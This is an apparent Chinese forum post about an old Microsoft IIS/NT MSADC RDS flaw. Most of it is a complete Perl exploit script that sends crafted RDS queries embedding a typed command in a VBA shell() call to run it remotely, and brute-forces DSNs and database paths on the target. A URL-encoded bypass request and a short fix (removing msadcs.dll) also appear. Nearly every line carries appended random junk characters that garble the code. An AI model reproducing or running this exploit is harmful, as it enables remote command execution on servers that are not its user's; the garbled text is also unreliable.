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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) _(io8zqe{j  
-H[@]Q4w  
涉及程序: 9PO5GYU  
Microsoft NT server 4XJ']M(5;  
G\k&s F  
描述: KMfRMc&  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 o@j!JI&  
=Ov,7<8o  
详细: l9+CJAmq  
如果你没有时间读详细内容的话,就删除: Sa.nUj{M=  
c:\Program Files\Common Files\System\Msadc\msadcs.dll SbMRrWy  
有关的安全问题就没有了。 JW2f 6!b  
nDckT+eJ  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 l$l6,OzS@  
g2LvojR  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ;BWWafZ  
关于利用ODBC远程漏洞的描述,请参看: }lJ|nl`c  
eDNY|}$}v  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm HJ"sK5Q  
Iw#[K  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 <bhJ>  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp PV=sqLM~  
&n83>Q  
这里不再论述。 RCK*?\m5  
Y}yh6r;i  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: .S=|ZP+  
sMJa4P>O@  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ff fWvf  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 9M|#X1r{%{  
VRY@}>W'  
l_+q a6C*  
#将下面这段保存为txt文件,然后: "perl -x 文件名" xZV|QVY;  
b!"qbC1  
#!perl +[S<"}ls7  
# #Ak9f-pf  
# MSADC/RDS 'usage' (aka exploit) script 9nlj{(  
# $}YN`:{  
# by rain.forest.puppy ]:?hU^H]<  
# ?=kH}'igq  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 7Ot&]M  
# beta test and find errors! ?G&J_L=@Y  
[,~;n@jz  
use Socket; use Getopt::Std; J]48th0,  
getopts("e:vd:h:XR", \%args); t0:~BYXu  
NW21{}=4  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; wn<k "6x  
gMZrtK`<  
if (!defined $args{h} && !defined $args{R}) { >k/ rJ[Sc  
print qq~ = 4'r+2[  
Usage: msadc.pl -h <host> { -d <delay> -X -v } z!k  
-h <host> = host you want to scan (ip or domain) wb]Z4/j#  
-d <seconds> = delay between calls, default 1 second SEZ08:>x r  
-X = dump Index Server path table, if available irB}h!@  
-v = verbose ]`h@[fYge  
-e = external dictionary file for step 5 %5Elj<eHZ  
nvodP"iV  
Or a -R will resume a command session iZ ;562Mo  
({C|(v9 C7  
~; exit;} iy_3#x5>  
<< YH4}wZ  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 4Xv."L  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} |oR{c%z05  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} brF) %x`  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); nnd-d+$  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} y,<\d/YY@  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } "*d%el\63  
%]F{aR  
if (!defined $args{R}){ $ret = &has_msadc; /KO2y0`  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ?i~mt'O  
7~D5Gy  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" x:]_z.5  
. "cmd /c "; H3ob 8+J  
$in=<STDIN>; chomp $in; j(_6.zf  
$command="cmd /c " . $in ; 8}Maj  
np7!y U  
if (defined $args{R}) {&load; exit;} OF! n}.O(  
:%zAX  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; kH62#[J)yM  
&try_btcustmr; 2>Kn'p  
q\fai^_  
print "\nStep 2: Trying to make our own DSN..."; #CB`7 }jq  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ?V)M!  
dda*gq/p  
print "\nStep 3: Trying known DSNs..."; yfA h=  
&known_dsn; h61BIc@>  
U owbk:  
print "\nStep 4: Trying known .mdbs..."; GM@0$  
&known_mdb; eI5W; Q4  
)OQih+#?W  
if (defined $args{e}){ j5 W)9HW:  
print "\nStep 5: Trying dictionary of DSN names..."; G\r>3Ys  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } \!r,>P   
c 9zMI  
print "Sorry Charley...maybe next time?\n"; k3e?:t 9  
exit; l;;"v) C8  
sYyya:ykxT  
############################################################################## T`Qg+Q$  
R"JT+m  
sub sendraw { # ripped and modded from whisker (V8lmp-F  
sleep($delay); # it's a DoS on the server! At least on mine... {F*81q\  
my ($pstr)=@_; Q$^Kf]pD  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || fq[,9lK  
die("Socket problems\n"); 9m2Yrj93  
if(connect(S,pack "SnA4x8",2,80,$target)){ )^Md ^\?  
select(S); $|=1; SBG.t:  
print $pstr; my @in=<S>; 9%bqY9NFd  
select(STDOUT); close(S); W}>wRy  
return @in; /y5a~3  
} else { die("Can't connect...\n"); }} +{ {'3=x9  
*JY2vq  
############################################################################## Q-$EBNz  
f`,isy[  
sub make_header { # make the HTTP request FZJ sZeO  
my $msadc=<<EOT "]1|%j  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 rp,PhS  
User-Agent: ACTIVEDATA .h>tef  
Host: $ip 7?~*F7F  
Content-Length: $clen h#I]gHQK  
Connection: Keep-Alive fBt`D !Z8  
$3:O}X>  
ADCClientVersion:01.06 >^+c s^jCM  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 xw83dQ]}^  
!" 7ip9a  
--!ADM!ROX!YOUR!WORLD! lEiOE]  
Content-Type: application/x-varg )?,X\/5  
Content-Length: $reqlen /Es&~Fn  
A>Oi9%OY:  
EOT ;{Su:Ixg  
; $msadc=~s/\n/\r\n/g; vip& b}u  
return $msadc;} vKcc|#  
ZNTOI]P&  
############################################################################## 1 c4I`#_v  
~z*A%vp6ER  
sub make_req { # make the RDS request TmO3hKaP  
my ($switch, $p1, $p2)=@_; t(.xEl;Ma  
my $req=""; my $t1, $t2, $query, $dsn; R"k}wRnxY  
SRpPLY{:F  
if ($switch==1){ # this is the btcustmr.mdb query -JB~yO?0  
$query="Select * from Customers where City=" . make_shell(); $tFmp)  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . I?IAZa)  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} m}>#s3KPA  
YA4;gH+  
elsif ($switch==2){ # this is general make table query }6^d/nE*T  
$query="create table AZZ (B int, C varchar(10))"; [%yCnt  
$dsn="$p1";} dQH9NsV7g  
!S}4b   
elsif ($switch==3){ # this is general exploit table query *u`[2xmuYf  
$query="select * from AZZ where C=" . make_shell(); o+.LG($+U  
$dsn="$p1";} >$iQDVh!  
j69 2M.A  
elsif ($switch==4){ # attempt to hork file info from index server BF(.^oh"n0  
$query="select path from scope()"; h(wu5G0C#u  
$dsn="Provider=MSIDXS;";} x $ oId{;  
d#]XyN>  
elsif ($switch==5){ # bad query Ct,|g =(  
$query="select"; lDm0O)Dh!  
$dsn="$p1";} pz@wbu=($4  
Hwm] l`E]  
$t1= make_unicode($query); mtg3}etA  
$t2= make_unicode($dsn); A +J&(7N  
$req = "\x02\x00\x03\x00"; `p)$7!  
$req.= "\x08\x00" . pack ("S1", length($t1)); G^=C#9c.m  
$req.= "\x00\x00" . $t1 ; | ?])]F  
$req.= "\x08\x00" . pack ("S1", length($t2)); %N }0,a0  
$req.= "\x00\x00" . $t2 ; j6{9XIR o_  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; :")iS?l  
return $req;} MZInS:Vj  
f)/5%W7n}  
############################################################################## Xeo2 < @[  
'WLh D<  
sub make_shell { # this makes the shell() statement GH!Lu\y\  
return "'|shell(\"$command\")|'";} EvEI5/ z  
vpl> 5%  
############################################################################## V:vYS  
y&$v@]t1  
sub make_unicode { # quick little function to convert to unicode xsIuPL#_  
my ($in)=@_; my $out; .q^+llM  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ?* %J Gz_  
return $out;} i[d@qp!H=  
@mB*fl?-  
############################################################################## Ps!~miN|>  
@z!|HLD+  
sub rdo_success { # checks for RDO return success (this is kludge) :CJ]^v   
my (@in) = @_; my $base=content_start(@in); x^ruPiH  
if($in[$base]=~/multipart\/mixed/){ b _#r_`  
return 1 if( $in[$base+10]=~/^\x09\x00/ );}  !xz0zT.  
return 0;} /^TXGc.  
.Q^8 _'ZG  
##############################################################################  "0( _  
20XN5dTFT  
sub make_dsn { # this makes a DSN for us ggn:DE "  
my @drives=("c","d","e","f"); a*gzVE7W#n  
print "\nMaking DSN: "; @3F4Lg6H|  
foreach $drive (@drives) { p Y[dJxB  
print "$drive: "; c8cPGm#i  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . xJ18M@" j  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" i{ " g 7  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); :n} NQzs  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; |wFfVDp  
return 0 if $2 eq "404"; # not found/doesn't exist m$X0O_*A  
if($2 eq "200") { &n)=OConge  
foreach $line (@results) { bdUe,2Yin  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} VS{po:]A  
} return 0;} .+ w#n<  
[9S?  
############################################################################## R;68C6 4  
U:n3V  
sub verify_exists { w`")^KXi  
my ($page)=@_; e MT5bn  
my @results=sendraw("GET $page HTTP/1.0\n\n"); @d]a#ypU  
return $results[0];} >w~Hq9  
nA#FGfZ{Ge  
############################################################################## g_l=z`,8  
~j&#DG&L  
sub try_btcustmr {  *Fe  
my @drives=("c","d","e","f"); ~ojH$=K>d  
my @dirs=("winnt","winnt35","winnt351","win","windows"); D|`I"N[<  
:QV-!  
foreach $dir (@dirs) { J XKqQxZ[X  
print "$dir -> "; # fun status so you can see progress  ta\CZp  
foreach $drive (@drives) { r#xq 8H=_m  
print "$drive: "; # ditto T3W?-,  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; Jbrjt/OG#I  
$reqlenlen=length( "$reqlen" ); p*_^JU(<p  
$clen= 206 + $reqlenlen + $reqlen; M' d ,TV[  
vCB0 x:/  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); n7r )wy  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} V#Hg+\{d  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} d 1 8>0R  
ph;ds+b  
############################################################################## b;X|[tB  
).BZPyV<  
sub odbc_error { ~$O.KF:  
my (@in)=@_; my $base; #:y h2y7a%  
my $base = content_start(@in); X?'v FC  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this wInJ!1  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ,a&&y0,  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; /kLG/ry8l:  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; #H;yXsR `  
return $in[$base+4].$in[$base+5].$in[$base+6];} y]5c!N %8  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; #BK3CD(&  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 2Bf]#l{z  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} t3dvHU&Z:  
!G0OD$  
############################################################################## Sas &P:# r  
U;l!.mze  
sub verbose { j~IX  
my ($in)=@_; X \1grM  
return if !$verbose; EO<{Bj=2  
print STDOUT "\n$in\n";} ^HYrJr$y  
yv@td+-"D  
############################################################################## HX(Z(rcI  
m|}};8  
sub save { <u 'q._m  
my ($p1, $p2, $p3, $p4)=@_; _h=kjc}[.O  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; U49#?^?  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; am$-1+iX  
close OUT;} Vl0 J!JK_  
=%}++7#  
##############################################################################  m,,FNYW  
YhVV~bvz*  
sub load { VOj{&O2c  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ]%RX\~Q.4  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); K|n$-WDG}  
@p=<IN>; close(IN); ^WZcM#~TL  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 6WN1D W  
$target= inet_aton($ip) || die("inet_aton problems"); /n9yv  
print "Resuming to $ip ..."; ^,?dk![1Cv  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; =sR]/XSK  
if($p[1]==1) { QL<uQ`>(  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; }3"FQ/6C  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;  o IUjd  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); bR6g^Yf  
if (rdo_success(@results)){print "Success!\n";} zPC&p{S>  
else { print "failed\n"; verbose(odbc_error(@results));}} ranLHm.nB  
elsif ($p[1]==3){ X/5\L.g2  
if(run_query("$p[3]")){ Z`?Z1SBt  
print "Success!\n";} else { print "failed\n"; }} ) N8 [@  
elsif ($p[1]==4){ 5iG+O4n%  
if(run_query($drvst . "$p[3]")){ Hq[vh7Lux  
print "Success!\n"; } else { print "failed\n"; }} $[p<}o/6v]  
exit;} !OVTs3}  
+, SUJ|  
############################################################################## 9vAY|b^  
HW{si]~q  
sub create_table { D 2U")g}U  
my ($in)=@_; DH#n7s'b  
$reqlen=length( make_req(2,$in,"") ) - 28; Y55Yo5<j/+  
$reqlenlen=length( "$reqlen" ); |\1!*Qp  
$clen= 206 + $reqlenlen + $reqlen; 7lo`)3mB  
my @results=sendraw(make_header() . make_req(2,$in,"")); k3-'!dW<  
return 1 if rdo_success(@results); ;oKN8vI#7  
my $temp= odbc_error(@results); verbose($temp); &I&:  
return 1 if $temp=~/Table 'AZZ' already exists/; Ac0^`  
return 0;} `*A!vO8  
=`8%qh  
############################################################################## Z# +{ksU  
Auq)  
sub known_dsn { rj.]M6#  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go }\9elVt'2  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", Zd~l_V f  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", \Bg;^6U  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 8IAf 9  
zfAkWSY  
foreach $dSn (@dsns) { vS! TnmF  
print "."; :V(+]<  
next if (!is_access("DSN=$dSn")); 7rc6  
if(create_table("DSN=$dSn")){ 4QK~qAi  
print "$dSn successful\n"; 986y\9Zu  
if(run_query("DSN=$dSn")){ P4M*vZq)  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 3$.R=MQ7  
print "Something's borked. Use verbose next time\n";}}} print "\n";} }mz6z<pJ_  
ou r$Ka31  
############################################################################## ;3nR_6\  
,[64$=R8  
sub is_access { sXD.*D  
my ($in)=@_; Mw0Kg9M  
$reqlen=length( make_req(5,$in,"") ) - 28; 0@FZQ$-  
$reqlenlen=length( "$reqlen" ); ;*3OkNxa3  
$clen= 206 + $reqlenlen + $reqlen; CXb-{|I}d  
my @results=sendraw(make_header() . make_req(5,$in,"")); qjK'sge/  
my $temp= odbc_error(@results); ]BY^.!Y  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); `}b#O}z)^  
return 0;} 5hVp2 w-  
Dr;-2$Kt/&  
############################################################################## !+& Rn\e%7  
0 i76(2  
sub run_query { VtNY~  
my ($in)=@_; IZ<d~ [y  
$reqlen=length( make_req(3,$in,"") ) - 28; mkA1Sh{hX>  
$reqlenlen=length( "$reqlen" ); *rY@(|  
$clen= 206 + $reqlenlen + $reqlen; 6ty>0  
my @results=sendraw(make_header() . make_req(3,$in,"")); }U)g<Kzh  
return 1 if rdo_success(@results); HFJna2B`  
my $temp= odbc_error(@results); verbose($temp); 9?VyF'r=  
return 0;} ^E)Kse.>  
YbMeSU/sX  
############################################################################## 24ojjxz+  
$1QQidB  
sub known_mdb { J! ;g.q  
my @drives=("c","d","e","f","g"); %J*z!Fe8s  
my @dirs=("winnt","winnt35","winnt351","win","windows");  2 EG`  
my $dir, $drive, $mdb; 9<0p1WO  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; TM|M#hMS  
K~j&Q{yws@  
# this is sparse, because I don't know of many 2v ^bd^]u:  
my @sysmdbs=( "\\catroot\\icatalog.mdb", WaU+ZgDrG  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", QZcdfJck=+  
"\\system32\\certmdb.mdb", |N9::),<  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% k4|9'V&1*6  
()< E?D=  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 'cs!(z-{x  
"\\cfusion\\cfapps\\forums\\forums_.mdb", }b9"&io  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", %M=[h2SN  
"\\cfusion\\cfapps\\security\\realm_.mdb", OnNWci|7  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", :r?gD2q  
"\\cfusion\\database\\cfexamples.mdb", R3nCk-Dq  
"\\cfusion\\database\\cfsnippets.mdb", p0 @ ,-  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", _:hrm%^  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", o,| LO$~  
"\\cfusion\\brighttiger\\database\\cleam.mdb", l(-We.:(  
"\\cfusion\\database\\smpolicy.mdb", `Yk~2t"V  
"\\cfusion\\database\cypress.mdb", [>5<&[A  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", =x9SvIm/tH  
"\\website\\cgi-win\\dbsample.mdb", axJuJ`+Y  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", + .Pv:7gh  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" q^:>sfd  
); #these are just !N\<QRb\q  
foreach $drive (@drives) { XCCh*qym  
foreach $dir (@dirs){ n#jBqr&!M  
foreach $mdb (@sysmdbs) { $XBn:0U  
print "."; 2K^D%U  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ &`#k 1t'  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; |Ai/q6u  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 3AKT>Wy =  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; F32N e6Y6"  
} else { print "Something's borked. Use verbose next time\n"; }}}}} ~%SmH [i  
!VaKq_W  
foreach $drive (@drives) { "gm[q."n<  
foreach $mdb (@mdbs) { ^?pf.E!F`  
print "."; j_` [Z  
if(create_table($drv . $drive . $dir . $mdb)){ OT1  
print "\n" . $drive . $dir . $mdb . " successful\n"; _?j66-( Q  
if(run_query($drv . $drive . $dir . $mdb)){ "I[a]T}/  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; eWKFs)C]  
} else { print "Something's borked. Use verbose next time\n"; }}}} !n;0%"(FH  
} ^!Y]l  
``;.Oy6jS  
############################################################################## a`c#- je  
?vmu,y  
sub hork_idx { #[ei/p  
print "\nAttempting to dump Index Server tables...\n"; N>R\,n|I  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 9+:SS1_  
$reqlen=length( make_req(4,"","") ) - 28; }BF!!*  
$reqlenlen=length( "$reqlen" ); se|>P=/  
$clen= 206 + $reqlenlen + $reqlen; mf~Joluc J  
my @results=sendraw2(make_header() . make_req(4,"","")); j,DF' h  
if (rdo_success(@results)){  ?cG~M|@  
my $max=@results; my $c; my %d; JD`IPQb~E  
for($c=19; $c<$max; $c++){ TLcev*  
$results[$c]=~s/\x00//g; |j 9d.M  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; @nC][gNv  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; zd%n)jlwR  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; (/mR p  
$d{"$1$2"}="";} 0+-"9pED>E  
foreach $c (keys %d){ print "$c\n"; } U46qpb 7  
} else {print "Index server doesn't seem to be installed.\n"; }} ]=gNA  
\d'>Ky;GD  
############################################################################## [Rj_p&'  
{yo{@pdX>  
sub dsn_dict { Ow#a|@  
open(IN, "<$args{e}") || die("Can't open external dictionary\n");  :EGvI  
while(<IN>){ *F<Ar\f5  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; c-GS:'J{  
next if (!is_access("DSN=$dSn")); H{)DI(,Y^P  
if(create_table("DSN=$dSn")){ aru;yR  
print "$dSn successful\n"; 1bz%O2U-(  
if(run_query("DSN=$dSn")){ c-jE1y<  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { V=i/cI\  
print "Something's borked. Use verbose next time\n";}}}  YW14X  
print "\n"; close(IN);} `4SwdW n  
QZh#&Qf;  
############################################################################## < `Xt?K  
rSgOQ  
sub sendraw2 { # ripped and modded from whisker qjm6\ii:)  
sleep($delay); # it's a DoS on the server! At least on mine... (DIMt-wz  
my ($pstr)=@_; kTW[)  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || |F}6Zv  
die("Socket problems\n"); Qi=pP/Y  
if(connect(S,pack "SnA4x8",2,80,$target)){ B>;`$-  
print "Connected. Getting data"; im-XP@<  
open(OUT,">raw.out"); my @in; 9#>t% IF~  
select(S); $|=1; print $pstr; !MyCxM6  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} ?3_^SRW&a  
close(OUT); select(STDOUT); close(S); return @in; tqFE>ojlI  
} else { die("Can't connect...\n"); }} D7lRZb  
: GdLr  
############################################################################## Z ~3  
TFZxk  
sub content_start { # this will take in the server headers :|HCUZ*H(T  
my (@in)=@_; my $c; jtv<{7a  
for ($c=1;$c<500;$c++) { ^Q#g-"b  
if($in[$c] =~/^\x0d\x0a/){ ?APCDZ^  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ~]Weyb[ N  
else { return $c+1; }}} 3P*[ !KI  
return -1;} # it should never get here actually D &Bdl5g  
u.@B-Pf[Eo  
############################################################################## e9;5.m  
Kgw, ]E&7  
sub funky { [gIvB<Uv  
my (@in)=@_; my $error=odbc_error(@in); WkMB  
if($error=~/ADO could not find the specified provider/){ l+#uQo6cqQ  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; >sGiDK @  
exit;} B'-n ^';  
if($error=~/A Handler is required/){ |/%X8\  
print "\nServer has custom handler filters (they most likely are patched)\n"; -KL5sK  
exit;} NydF'N_1  
if($error=~/specified Handler has denied Access/){ <xlyk/  
print "\nServer has custom handler filters (they most likely are patched)\n"; cB6LJ}R  
exit;}} XD%GNZ  
?s@=DDB\u  
############################################################################## W.(Q u-AE(  
i<M F8 $  
sub has_msadc { 7n[0)XR>  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); J(5#fo{Q.g  
my $base=content_start(@results); fD*jzj7o ,  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); GGU>={D)  
return 0;} 8^pu C  
0V+v)\4FE  
######################## $#-O^0D  
' 7H"ezt  
8'Iei78Ov  
解决方案: : j`4nXm  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll BUUc9&f3o  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 !8|?0>3)  
t{e}3}LEd  
拿出来充数 哈哈
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